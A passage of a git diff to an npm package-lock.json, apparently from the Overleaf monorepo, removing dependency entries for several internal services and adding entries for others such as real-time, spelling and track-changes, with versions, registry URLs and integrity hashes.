} +- }, +- "map-obj": { +- "version": "4.3.0", +- "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-4.3.0.tgz", +- "integrity": "sha512-hdN1wVrZbb29eBGiGjJbeP8JbKjq1urkHJ/LIP/NY48MZ1QVXUsQBV1G1zvYFHn1XE06cwjBsOI2K3Ulnj1YXQ==" +- }, +- "quick-lru": { +- "version": "5.1.1", +- "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz", +- "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==" +- }, +- "type-fest": { +- "version": "1.4.0", +- "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-1.4.0.tgz", +- "integrity": "sha512-yGSza74xk0UG8k+pLh5oeoYirvIiWo5t0/o3zHHAO2tRDiZcxWP7fywNlXhqb6/r6sWvwi+RsyQMWhVLe4BVuA==" +- } +- } +- }, + "@nicolo-ribaudo/chokidar-2": { + "version": "2.1.8-no-fsevents.3", + "resolved": "https://registry.npmjs.org/@nicolo-ribaudo/chokidar-2/-/chokidar-2-2.1.8-no-fsevents.3.tgz", +@@ -39695,66 +32288,6 @@ + "fastq": "^1.6.0" + } + }, +- "@octokit/endpoint": { +- "version": "6.0.12", +- "resolved": "https://registry.npmjs.org/@octokit/endpoint/-/endpoint-6.0.12.tgz", +- "integrity": "sha512-lF3puPwkQWGfkMClXb4k/eUT/nZKQfxinRWJrdZaJO85Dqwo/G0yOC434Jr2ojwafWJMYqFGFa5ms4jJUgujdA==", +- "requires": { +- "@octokit/types": "^6.0.3", +- "is-plain-object": "^5.0.0", +- "universal-user-agent": "^6.0.0" +- }, +- "dependencies": { +- "is-plain-object": { +- "version": "5.0.0", +- "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-5.0.0.tgz", +- "integrity": "sha512-VRSzKkbMm5jMDoKLbltAkFQ5Qr7VDiTFGXxYFXXowVj387GeGNOCsOH6Msy00SGZ3Fp84b1Naa1psqgcCIEP5Q==" +- } +- } +- }, +- "@octokit/openapi-types": { +- "version": "11.2.0", +- "resolved": "https://registry.npmjs.org/@octokit/openapi-types/-/openapi-types-11.2.0.tgz", +- "integrity": "sha512-PBsVO+15KSlGmiI8QAzaqvsNlZlrDlyAJYcrXBCvVUxCp7VnXjkwPoFHgjEJXx3WF9BAwkA6nfCUA7i9sODzKA==" +- }, +- "@octokit/request": { +- "version": "5.6.3", +- "resolved": "https://registry.npmjs.org/@octokit/request/-/request-5.6.3.tgz", +- "integrity": "sha512-bFJl0I1KVc9jYTe9tdGGpAMPy32dLBXXo1dS/YwSCTL/2nd9XeHsY616RE3HPXDVk+a+dBuzyz5YdlXwcDTr2A==", +- "requires": { +- "@octokit/endpoint": "^6.0.1", +- "@octokit/request-error": "^2.1.0", +- "@octokit/types": "^6.16.1", +- "is-plain-object": "^5.0.0", +- "node-fetch": "^2.6.7", +- "universal-user-agent": "^6.0.0" +- }, +- "dependencies": { +- "is-plain-object": { +- "version": "5.0.0", +- "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-5.0.0.tgz", +- "integrity": "sha512-VRSzKkbMm5jMDoKLbltAkFQ5Qr7VDiTFGXxYFXXowVj387GeGNOCsOH6Msy00SGZ3Fp84b1Naa1psqgcCIEP5Q==" +- } +- } +- }, +- "@octokit/request-error": { +- "version": "2.1.0", +- "resolved": "https://registry.npmjs.org/@octokit/request-error/-/request-error-2.1.0.tgz", +- "integrity": "sha512-1VIvgXxs9WHSjicsRwq8PlR2LR2x6DwsJAaFgzdi0JfJoGSO8mYI/cHJQ+9FbN21aa+DrgNLnwObmyeSC8Rmpg==", +- "requires": { +- "@octokit/types": "^6.0.3", +- "deprecation": "^2.0.0", +- "once": "^1.4.0" +- } +- }, +- "@octokit/types": { +- "version": "6.34.0", +- "resolved": "https://registry.npmjs.org/@octokit/types/-/types-6.34.0.tgz", +- "integrity": "sha512-s1zLBjWhdEI2zwaoSgyOFoKSl109CUcVBCc7biPJ3aAf6LGLU6szDvi31JPU7bxfla2lqfhjbbg/5DdFNxOwHw==", +- "requires": { +- "@octokit/openapi-types": "^11.2.0" +- } +- }, + "@opencensus/core": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/@opencensus/core/-/core-0.1.0.tgz", +@@ -39866,73 +32399,6 @@ + "sinon": "^9.2.4" + } + }, +- "@overleaf/analytics": { +- "version": "file:services/analytics", +- "requires": { +- "@google-cloud/bigquery": "^5.9.0", +- "@google-cloud/storage": "^4.6.0", +- "@overleaf/logger": "^3.1.0", +- "@overleaf/metrics": "^4.0.0", +- "@overleaf/o-error": "^3.4.0", +- "@overleaf/redis-wrapper": "^2.0.0", +- "@overleaf/settings": "^3.0.0", +- "@pollyjs/adapter-node-http": "^4.0.3", +- "@pollyjs/core": "^4.0.2", +- "@pollyjs/persister-fs": "^4.0.2", +- "axios": "^0.21.1", +- "bluebird": "^3.7.2", +- "body-parser": "^1.19.0", +- "bull": "^3.18.0", +- "bunyan": "^1.8.15", +- "camelcase-keys": "^4.2.0", +- "celebrate": "^12.1.1", +- "chai": "^4.3.6", +- "chai-as-promised": "^7.1.1", +- "csv": "^5.4.0", +- "csv-parser": "^3.0.0", +- "express": "^4.17.1", +- "good-bunyan": "^3.0.1", +- "joi": "^17.2.1", +- "json2csv": "^4.5.4", +- "lodash": "^4.17.21", +- "lolex": "^6.0.0", +- "minimist": "^1.2.6", +- "mixpanel": "^0.13.0", +- "mocha": "^8.4.0", +- "moment": "^2.29.4", +- "mongodb": "^3.6.6", +- "p-limit": "^2.3.0", +- "pg": "^8.7.1", +- "pg-copy-streams": "^2.2.2", +- "promptly": "^3.0.3", +- "recurly": "^4.0.1", +- "redis-mock": "^0.49.0", +- "request": "^2.88.2", +- "sandboxed-module": "^2.0.4", +- "sequelize": "^5.21.5", +- "sequelize-cli": "^5.5.1", +- "sinon": "^9.2.4", +- "sinon-chai": "^3.7.0", +- "stream-buffers": "^3.0.2", +- "underscore": "^1.9.2", +- "yargs": "^17.0.0" +- }, +- "dependencies": { +- "minimist": { +- "version": "1.2.6", +- "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.6.tgz", +- "integrity": "sha512-Jsjnk4bw3YJqYzbdyBiNsPWHPfO++UGG749Cxs6peCu5Xg4nrena6OVxOYxrQTqww0Jmwt+Ref8rggumkTLz9Q==" +- }, +- "p-limit": { +- "version": "2.3.0", +- "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", +- "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", +- "requires": { +- "p-try": "^2.0.0" +- } +- } +- } +- }, + "@overleaf/chat": { + "version": "file:services/chat", + "requires": { +@@ -40199,32 +32665,6 @@ + } + } + }, +- "@overleaf/clsi-perf": { +- "version": "file:services/clsi-perf", +- "requires": { +- "@google-cloud/bigquery": "^5.6.0", +- "@overleaf/logger": "^3.1.0", +- "@overleaf/metrics": "^4.0.0", +- "@overleaf/o-error": "^3.4.0", +- "@overleaf/settings": "^3.0.0", +- "bunyan": "^1.8.15", +- "chai": "^4.3.6", +- "chai-as-promised": "^7.1.1", +- "cookie": "^0.4.1", +- "express": "^4.17.1", +- "glob": "^7.2.0", +- "mocha": "^8.4.0", +- "node-fetch": "^2.6.7", +- "p-limit": "^3.1.0" +- }, +- "dependencies": { +- "cookie": { +- "version": "0.4.1", +- "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.1.tgz", +- "integrity": "sha512-ZwrFkGJxUR3EIoXtO+yVE69Eb7KlixbaeAWfBQB9vVsNn/o+Yw69gBWSSDK825hQNdN+wF8zELf3dFNl/kxkUA==" +- } +- } +- }, + "@overleaf/contacts": { + "version": "file:services/contacts", + "requires": { +@@ -40773,148 +33213,6 @@ + } + } + }, +- "@overleaf/github-sync": { +- "version": "file:services/github-sync", +- "requires": { +- "@octokit/request": "^5.6.3", +- "@overleaf/access-token-encryptor": "^2.2.0", +- "@overleaf/logger": "^3.1.0", +- "@overleaf/metrics": "^4.0.0", +- "@overleaf/o-error": "^3.4.0", +- "@overleaf/settings": "^3.0.0", +- "async": "^3.2.2", +- "base64-stream": "^0.1.2", +- "body-parser": "^1.19.0", +- "bunyan": "^1.8.15", +- "chai": "^4.3.6", +- "chai-as-promised": "^7.1.1", +- "express": "^4.17.1", +- "lodash.once": "^4.1.1", +- "mocha": "^8.4.0", +- "mongodb": "^3.6.0", +- "octonode": "^0.9.5", +- "p-limit": "^2.2.0", +- "randomstring": "^1.1.5", +- "request": "^2.88.2", +- "sandboxed-module": "^2.0.4", +- "sinon": "^9.2.4", +- "timekeeper": "2.2.0" +- }, +- "dependencies": { +- "p-limit": { +- "version": "2.3.0", +- "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", +- "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", +- "requires": { +- "p-try": "^2.0.0" +- } +- } +- } +- }, +- "@overleaf/idp": { +- "version": "file:services/idp", +- "requires": { +- "express": "^4.17.1", +- "samlp": "^6.0.1" +- }, +- "dependencies": { +- "async": { +- "version": "0.2.10", +- "resolved": "https://registry.npmjs.org/async/-/async-0.2.10.tgz", +- "integrity": "sha512-eAkdoKxU6/LkKDBzLpT+t6Ff5EtfSF4wx1WfJiPEEV7WNLnDaRXk0oVysiEPm262roaachGexwUv94WhSgN5TQ==" +- }, +- "moment": { +- "version": "2.19.3", +- "resolved": "https://registry.npmjs.org/moment/-/moment-2.19.3.tgz", +- "integrity": "sha1-vbmdJw1tf9p4zA+6zoVeJ/59pp8=" +- }, +- "node-forge": { +- "version": "0.10.0", +- "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-0.10.0.tgz", +- "integrity": "sha512-PPmu8eEeG9saEUvI97fm4OYxXVB6bFvyNTyiUOBichBpFG8A1Ljw3bY62+5oOjDEMHRnd0Y7HQ+x7uzxOzC6JA==" +- }, +- "saml": { +- "version": "1.0.1", +- "resolved": "https://registry.npmjs.org/saml/-/saml-1.0.1.tgz", +- "integrity": "sha512-BzzlTdXNICrIGhJkq168n0WJpwXYr3xyMd7UHC7/s8F4M6zHSEItwEuKGmm6HjsttZk/hJcrw7fY0OZ9wE+v7Q==", +- "requires": { +- "@xmldom/xmldom": "^0.7.4", +- "async": "~0.2.9", +- "moment": "2.19.3", +- "valid-url": "~1.0.9", +- "xml-crypto": "^2.1.3", +- "xml-encryption": "^1.2.1", +- "xml-name-validator": "~2.0.1", +- "xpath": "0.0.5" +- } +- }, +- "samlp": { +- "version": "6.0.2", +- "resolved": "https://registry.npmjs.org/samlp/-/samlp-6.0.2.tgz", +- "integrity": "sha512-LeEgzxBRRasDk4EOiGZgIa4ytvHNnYDMI9Wp2tGh+v7fi3bjZYG1ufJK3YWGDTb5HFG8Y7ybpYzw/o2tThBgLQ==", +- "requires": { +- "@auth0/thumbprint": "0.0.6", +- "@auth0/xmldom": "0.1.21", +- "auth0-id-generator": "^0.2.0", +- "ejs": "2.5.5", +- "flowstate": "^0.4.0", +- "querystring": "^0.2.0", +- "saml": "^1.0.0", +- "xml-crypto": "^2.0.0", +- "xpath": "0.0.5", +- "xtend": "^1.0.3" +- } +- }, +- "xml-encryption": { +- "version": "1.3.0", +- "resolved": "https://registry.npmjs.org/xml-encryption/-/xml-encryption-1.3.0.tgz", +- "integrity": "sha512-3P8C4egMMxSR1BmsRM+fG16a3WzOuUEQKS2U4c3AZ5v7OseIfdUeVkD8dwxIhuLryFZSRWUL5OP6oqkgU7hguA==", +- "requires": { +- "@xmldom/xmldom": "^0.7.0", +- "escape-html": "^1.0.3", +- "node-forge": "^0.10.0", +- "xpath": "0.0.32" +- }, +- "dependencies": { +- "xpath": { +- "version": "0.0.32", +- "resolved": "https://registry.npmjs.org/xpath/-/xpath-0.0.32.tgz", +- "integrity": "sha512-rxMJhSIoiO8vXcWvSifKqhvV96GjiD5wYb8/QHdoRyQvraTpp4IEv944nhGausZZ3u7dhQXteZuZbaqfpB7uYw==" +- } +- } +- }, +- "xml-name-validator": { +- "version": "2.0.1", +- "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-2.0.1.tgz", +- "integrity": "sha1-TYuPHszTQZqjYgYb7O9RXh5VljU=" +- }, +- "xtend": { +- "version": "1.0.3", +- "resolved": "https://registry.npmjs.org/xtend/-/xtend-1.0.3.tgz", +- "integrity": "sha1-P12Tc1PM7Y4IU5mlY/2yJUHClgo=" +- } +- } +- }, +- "@overleaf/k8s-debugger": { +- "version": "file:services/k8s-debugger", +- "requires": { +- "@overleaf/logger": "^3.1.0", +- "@overleaf/metrics": "^4.0.0", +- "@overleaf/o-error": "^3.4.0", +- "@overleaf/redis-wrapper": "^2.1.0", +- "@overleaf/settings": "^3.0.0", +- "aws-sdk": "^2.556.0", +- "chai": "^4.3.6", +- "chai-as-promised": "^7.1.1", +- "democracy": "^3.1.3", +- "express": "^4.11.0", +- "kubernetes-client": "^8.3.4", +- "mocha": "^8.4.0", +- "mongodb": "^3.7.3", +- "node-fetch": "^2.6.7", +- "uuid": "^3.3.3" +- } +- }, + "@overleaf/logger": { + "version": "file:libraries/logger", + "requires": { +@@ -41271,123 +33569,250 @@ + } + } + }, +- "@overleaf/project-archiver": { +- "version": "file:services/project-archiver", ++ "@overleaf/ranges-tracker": { ++ "version": "file:libraries/ranges-tracker", + "requires": { +- "@google-cloud/storage": "~5.7.2", ++ "mocha": "^10.0.0" ++ }, ++ "dependencies": { ++ "brace-expansion": { ++ "version": "2.0.1", ++ "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz", ++ "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", ++ "dev": true, ++ "requires": { ++ "balanced-match": "^1.0.0" ++ } ++ }, ++ "debug": { ++ "version": "4.3.4", ++ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", ++ "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", ++ "dev": true, ++ "requires": { ++ "ms": "2.1.2" ++ }, ++ "dependencies": { ++ "ms": { ++ "version": "2.1.2", ++ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", ++ "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", ++ "dev": true ++ } ++ } ++ }, ++ "minimatch": { ++ "version": "5.0.1", ++ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.0.1.tgz", ++ "integrity": "sha512-nLDxIFRyhDblz3qMuq+SoRZED4+miJ/G+tdDrjkkkRnjAsBexeGpgjLEQ0blJy7rHhR2b93rhQY4SvyWu9v03g==", ++ "dev": true, ++ "requires": { ++ "brace-expansion": "^2.0.1" ++ } ++ }, ++ "mocha": { ++ "version": "10.0.0", ++ "resolved": "https://registry.npmjs.org/mocha/-/mocha-10.0.0.tgz", ++ "integrity": "sha512-0Wl+elVUD43Y0BqPZBzZt8Tnkw9CMUdNYnUsTfOM1vuhJVZL+kiesFYsqwBkEEuEixaiPe5ZQdqDgX2jddhmoA==", ++ "dev": true, ++ "requires": { ++ "@ungap/promise-all-settled": "1.1.2", ++ "ansi-colors": "4.1.1", ++ "browser-stdout": "1.3.1", ++ "chokidar": "3.5.3", ++ "debug": "4.3.4", ++ "diff": "5.0.0", ++ "escape-string-regexp": "4.0.0", ++ "find-up": "5.0.0", ++ "glob": "7.2.0", ++ "he": "1.2.0", ++ "js-yaml": "4.1.0", ++ "log-symbols": "4.1.0", ++ "minimatch": "5.0.1", ++ "ms": "2.1.3", ++ "nanoid": "3.3.3", ++ "serialize-javascript": "6.0.0", ++ "strip-json-comments": "3.1.1", ++ "supports-color": "8.1.1", ++ "workerpool": "6.2.1", ++ "yargs": "16.2.0", ++ "yargs-parser": "20.2.4", ++ "yargs-unparser": "2.0.0" ++ } ++ }, ++ "nanoid": { ++ "version": "3.3.3", ++ "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.3.tgz", ++ "integrity": "sha512-p1sjXuopFs0xg+fPASzQ28agW1oHD7xDsd9Xkf3T15H3c/cifrFHVwrh74PdoklAPi+i7MdRsE47vm2r6JoB+w==", ++ "dev": true ++ }, ++ "workerpool": { ++ "version": "6.2.1", ++ "resolved": "https://registry.npmjs.org/workerpool/-/workerpool-6.2.1.tgz", ++ "integrity": "sha512-ILEIE97kDZvF9Wb9f6h5aXK4swSlKGUcOEGiIYb2OOu/IrDU9iwj0fD//SsA6E5ibwJxpEvhullJY4Sl4GcpAw==", ++ "dev": true ++ }, ++ "yargs": { ++ "version": "16.2.0", ++ "resolved": "https://registry.npmjs.org/yargs/-/yargs-16.2.0.tgz", ++ "integrity": "sha512-D1mvvtDG0L5ft/jGWkLpG1+m0eQxOfaBvTNELraWj22wSVUMWxZUvYgJYcKh6jGGIkJFhH4IZPQhR4TKpc8mBw==", ++ "dev": true, ++ "requires": { ++ "cliui": "^7.0.2", ++ "escalade": "^3.1.1", ++ "get-caller-file": "^2.0.5", ++ "require-directory": "^2.1.1", ++ "string-width": "^4.2.0", ++ "y18n": "^5.0.5", ++ "yargs-parser": "^20.2.2" ++ } ++ } ++ } ++ }, ++ "@overleaf/real-time": { ++ "version": "file:services/real-time", ++ "requires": { ++ "@hapi/joi": "^17.1.1", + "@overleaf/logger": "^3.1.0", + "@overleaf/metrics": "^4.0.0", ++ "@overleaf/o-error": "^3.4.0", ++ "@overleaf/redis-wrapper": "^2.0.0", + "@overleaf/settings": "^3.0.0", +- "archiver": "^5.3.0", + "async": "^3.2.2", ++ "base64id": "0.1.0", + "body-parser": "^1.19.0", + "bunyan": "^1.8.15", + "chai": "^4.3.6", + "chai-as-promised": "^7.1.1", ++ "connect-redis": "^2.1.0", ++ "cookie-parser": "^1.4.5", ++ "cookie-signature": "^1.1.0", + "express": "^4.17.1", +- "knox": "~0.9.2", +- "lodash": "^4.17.21", ++ "express-session": "^1.17.1", + "mocha": "^8.4.0", ++ "proxy-addr": "^2.0.7", + "request": "^2.88.2", +- "sandboxed-module": "~2.0.3", +- "sinon": "9.0.1" ++ "sandboxed-module": "~0.3.0", ++ "sinon": "^9.2.4", ++ "socket.io": "overleaf/socket.io#0.9.19-overleaf-6", ++ "socket.io-client": "overleaf/socket.io-client#0.9.17-overleaf-3", ++ "timekeeper": "0.0.4", ++ "uid-safe": "^2.1.5", ++ "underscore": "1.13.1" + }, + "dependencies": { +- "@google-cloud/storage": { +- "version": "5.7.4", +- "resolved": "https://registry.npmjs.org/@google-cloud/storage/-/storage-5.7.4.tgz", +- "integrity": "sha512-fynB3kDT+lhx71laML+LtUs/w9Ezcf+SVAsaP0fhAyPQzOc0kp43uYTymYCvF9GffYR7jcy6yqYifeMSU9VEVA==", +- "requires": { +- "@google-cloud/common": "^3.5.0", +- "@google-cloud/paginator": "^3.0.0", +- "@google-cloud/promisify": "^2.0.0", +- "arrify": "^2.0.0", +- "async-retry": "^1.3.1", +- "compressible": "^2.0.12", +- "date-and-time": "^0.14.2", +- "duplexify": "^4.0.0", +- "extend": "^3.0.2", +- "gaxios": "^4.0.0", +- "gcs-resumable-upload": "^3.1.0", +- "get-stream": "^6.0.0", +- "hash-stream-validation": "^0.2.2", +- "mime": "^2.2.0", +- "mime-types": "^2.0.8", +- "onetime": "^5.1.0", +- "p-limit": "^3.0.1", +- "pumpify": "^2.0.0", +- "snakeize": "^0.1.0", +- "stream-events": "^1.0.1", +- "xdg-basedir": "^4.0.0" +- } +- }, +- "date-and-time": { +- "version": "0.14.2", +- "resolved": "https://registry.npmjs.org/date-and-time/-/date-and-time-0.14.2.tgz", +- "integrity": "sha512-EFTCh9zRSEpGPmJaexg7HTuzZHh6cnJj1ui7IGCFNXzd2QdpsNh05Db5TF3xzJm30YN+A8/6xHSuRcQqoc3kFA==" ++ "commander": { ++ "version": "2.1.0", ++ "resolved": "https://registry.npmjs.org/commander/-/commander-2.1.0.tgz", ++ "integrity": "sha512-J2wnb6TKniXNOtoHS8TSrG9IOQluPrsmyAJ8oCUJOBmv+uLBCyPYAZkD2jFvw2DCzIXNnISIM01NIvr35TkBMQ==" + }, +- "diff": { +- "version": "4.0.2", +- "resolved": "https://registry.npmjs.org/diff/-/diff-4.0.2.tgz", +- "integrity": "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A==", +- "dev": true ++ "nan": { ++ "version": "1.0.0", ++ "resolved": "https://registry.npmjs.org/nan/-/nan-1.0.0.tgz", ++ "integrity": "sha512-Wm2/nFOm2y9HtJfgOLnctGbfvF23FcQZeyUZqDD8JQG3zO5kXh3MkQKiUaA68mJiVWrOzLFkAV1u6bC8P52DJA==" + }, +- "duplexify": { +- "version": "4.1.2", +- "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-4.1.2.tgz", +- "integrity": "sha512-fz3OjcNCHmRP12MJoZMPglx8m4rrFP8rovnk4vT8Fs+aonZoCwGg10dSsQsfP/E62eZcPTMSMP6686fu9Qlqtw==", ++ "sandboxed-module": { ++ "version": "0.3.0", ++ "resolved": "https://registry.npmjs.org/sandboxed-module/-/sandboxed-module-0.3.0.tgz", ++ "integrity": "sha1-8fvvvYCaT2kHO9B8rm/H2y6vX2o=", ++ "dev": true, + "requires": { +- "end-of-stream": "^1.4.1", +- "inherits": "^2.0.3", +- "readable-stream": "^3.1.1", +- "stream-shift": "^1.0.0" ++ "require-like": "0.1.2", ++ "stack-trace": "0.0.6" + } + }, +- "gaxios": { +- "version": "4.3.2", +- "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-4.3.2.tgz", +- "integrity": "sha512-T+ap6GM6UZ0c4E6yb1y/hy2UB6hTrqhglp3XfmU9qbLCGRYhLVV5aRPpC4EmoG8N8zOnkYCgoBz+ScvGAARY6Q==", ++ "socket.io-client": { ++ "version": "git+ssh://git@github.com/overleaf/socket.io-client.git#60e7aa96978e890dcfc244071de0284e9174e125", ++ "from": "socket.io-client@overleaf/socket.io-client#0.9.17-overleaf-3", + "requires": { +- "abort-controller": "^3.0.0", +- "extend": "^3.0.2", +- "https-proxy-agent": "^5.0.0", +- "is-stream": "^2.0.0", +- "node-fetch": "^2.6.1" ++ "active-x-obfuscator": "0.0.1", ++ "uglify-js": "1.2.5", ++ "ws": "0.4.x", ++ "xmlhttprequest": "1.4.2" + } + }, +- "get-stream": { +- "version": "6.0.1", +- "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-6.0.1.tgz", +- "integrity": "sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==" ++ "stack-trace": { ++ "version": "0.0.6", ++ "resolved": "https://registry.npmjs.org/stack-trace/-/stack-trace-0.0.6.tgz", ++ "integrity": "sha1-HnGb1qJin/CcGJ4Xqe+QKpT8XbA=", ++ "dev": true + }, +- "sinon": { +- "version": "9.0.1", +- "resolved": "https://registry.npmjs.org/sinon/-/sinon-9.0.1.tgz", +- "integrity": "sha512-iTTyiQo5T94jrOx7X7QLBZyucUJ2WvL9J13+96HMfm2CGoJYbIPqRfl6wgNcqmzk0DI28jeGx5bUTXizkrqBmg==", +- "dev": true, +- "requires": { +- "@sinonjs/commons": "^1.7.0", +- "@sinonjs/fake-timers": "^6.0.0", +- "@sinonjs/formatio": "^5.0.1", +- "@sinonjs/samsam": "^5.0.3", +- "diff": "^4.0.2", +- "nise": "^4.0.1", +- "supports-color": "^7.1.0" +- } ++ "timekeeper": { ++ "version": "0.0.4", ++ "resolved": "https://registry.npmjs.org/timekeeper/-/timekeeper-0.0.4.tgz", ++ "integrity": "sha1-kNt58X2Ni1NiFUOJSSuXJ2LP0nY=", ++ "dev": true + }, +- "supports-color": { +- "version": "7.2.0", +- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", +- "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", +- "dev": true, ++ "uglify-js": { ++ "version": "1.2.5", ++ "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-1.2.5.tgz", ++ "integrity": "sha512-Ps1oQryKOcRDYuAN1tGpPWd/DIRMcdLz4p7JMxLjJiFvp+aaG01IEu0ZSoVvYUSxIkvW7k2X50BCW2InguEGlg==" ++ }, ++ "underscore": { ++ "version": "1.13.1", ++ "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.13.1.tgz", ++ "integrity": "sha512-hzSoAVtJF+3ZtiFX0VgfFPHEDRm7Y/QPjGyNo4TVdnDTdft3tr8hEkD25a1jC+TjTuE7tkHGKkhwCgs9dgBB2g==" ++ }, ++ "ws": { ++ "version": "0.4.32", ++ "resolved": "https://registry.npmjs.org/ws/-/ws-0.4.32.tgz", ++ "integrity": "sha512-htqsS0U9Z9lb3ITjidQkRvkLdVhQePrMeu475yEfOWkAYvJ6dSjQp1tOH6ugaddzX5b7sQjMPNtY71eTzrV/kA==", + "requires": { +- "has-flag": "^4.0.0" ++ "commander": "~2.1.0", ++ "nan": "~1.0.0", ++ "options": ">=0.0.5", ++ "tinycolor": "0.x" + } + } + } + }, +- "@overleaf/project-history": { +- "version": "file:services/project-history", ++ "@overleaf/redis-wrapper": { ++ "version": "file:libraries/redis-wrapper", ++ "requires": { ++ "@overleaf/logger": "*", ++ "@overleaf/o-error": "^3.4.0", ++ "async": "^3.2.2", ++ "chai": "^4.3.6", ++ "ioredis": "~4.27.1", ++ "mocha": "^8.4.0", ++ "sandboxed-module": "^2.0.4", ++ "sinon": "^9.2.4" ++ } ++ }, ++ "@overleaf/settings": { ++ "version": "file:libraries/settings" ++ }, ++ "@overleaf/spelling": { ++ "version": "file:services/spelling", ++ "requires": { ++ "@overleaf/logger": "^3.1.0", ++ "@overleaf/metrics": "^4.0.0", ++ "@overleaf/o-error": "^3.4.0", ++ "@overleaf/settings": "^3.0.0", ++ "async": "^3.2.2", ++ "body-parser": "^1.19.0", ++ "bunyan": "^1.8.15", ++ "chai": "^4.3.6", ++ "chai-as-promised": "^7.1.1", ++ "express": "^4.17.1", ++ "lru-cache": "^5.1.1", ++ "mocha": "^8.4.0", ++ "mongodb": "^3.6.0", ++ "request": "^2.88.2", ++ "sandboxed-module": "2.0.4", ++ "sinon": "^9.2.4", ++ "underscore": "1.13.1" ++ }, ++ "dependencies": { ++ "underscore": { ++ "version": "1.13.1", ++ "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.13.1.tgz", ++ "integrity": "sha512-hzSoAVtJF+3ZtiFX0VgfFPHEDRm7Y/QPjGyNo4TVdnDTdft3tr8hEkD25a1jC+TjTuE7tkHGKkhwCgs9dgBB2g==" ++ } ++ } ++ }, ++ "@overleaf/track-changes": { ++ "version": "file:services/track-changes", + "requires": { + "@overleaf/logger": "^3.1.0", + "@overleaf/metrics": "^4.0.0", +@@ -41395,63 +33820,34 @@ + "@overleaf/redis-wrapper": "^2.0.0", + "@overleaf/settings": "^3.0.0", + "async": "^3.2.2", +- "aws-sdk": "^2.650.0", +- "bluebird": "^3.7.2", ++ "aws-sdk": "^2.643.0", + "body-parser": "^1.19.0", ++ "bson": "^1.1.5", + "bunyan": "^1.8.15", +- "byline": "^4.2.1", +- "celebrate": "^10.1.0", ++ "byline": "^5.0.0", + "chai": "^4.3.6", + "chai-as-promised": "^7.1.1", + "cli": "^1.0.1", +- "diff-match-patch": "https://github.com/overleaf/diff-match-patch/archive/89805f9c671a77a263fc53461acd62aa7498f688.tar.gz", + "express": "4.17.1", + "heap": "^0.2.6", + "JSONStream": "^1.3.5", +- "line-reader": "^0.2.4", +- "lodash": "^4.17.20", ++ "line-reader": "^0.4.0", ++ "lodash": "^4.17.21", + "memorystream": "0.3.1", + "mocha": "^8.4.0", + "mongo-uri": "^0.1.2", + "mongodb": "^3.6.0", +- "multer": "^1.4.2", +- "nock": "^12.0.3", +- "overleaf-editor-core": "*", + "redis": "~0.10.1", +- "request": "^2.88.2", +- "requestretry": "^1.12.2", ++ "request": "~2.88.2", ++ "requestretry": "^4.1.0", ++ "s3-streams": "^0.4.0", + "sandboxed-module": "~2.0.3", + "sinon": "~9.0.1", +- "sinon-chai": "^3.7.0", + "timekeeper": "2.2.0", +- "underscore": "^1.13.1", +- "uuid": "^3.1.0" ++ "underscore": "~1.13.1", ++ "yazl": "^2.5.1" + }, + "dependencies": { +- "@hapi/address": { +- "version": "2.1.4", +- "resolved": "https://registry.npmjs.org/@hapi/address/-/address-2.1.4.tgz", +- "integrity": "sha512-QD1PhQk+s31P1ixsX0H0Suoupp3VMXzIVMSwobR3F3MSUO2YCV0B7xqLcUw/Bh8yuvd3LhpyqLQWTNcRmp6IdQ==" +- }, +- "@hapi/joi": { +- "version": "15.1.1", +- "resolved": "https://registry.npmjs.org/@hapi/joi/-/joi-15.1.1.tgz", +- "integrity": 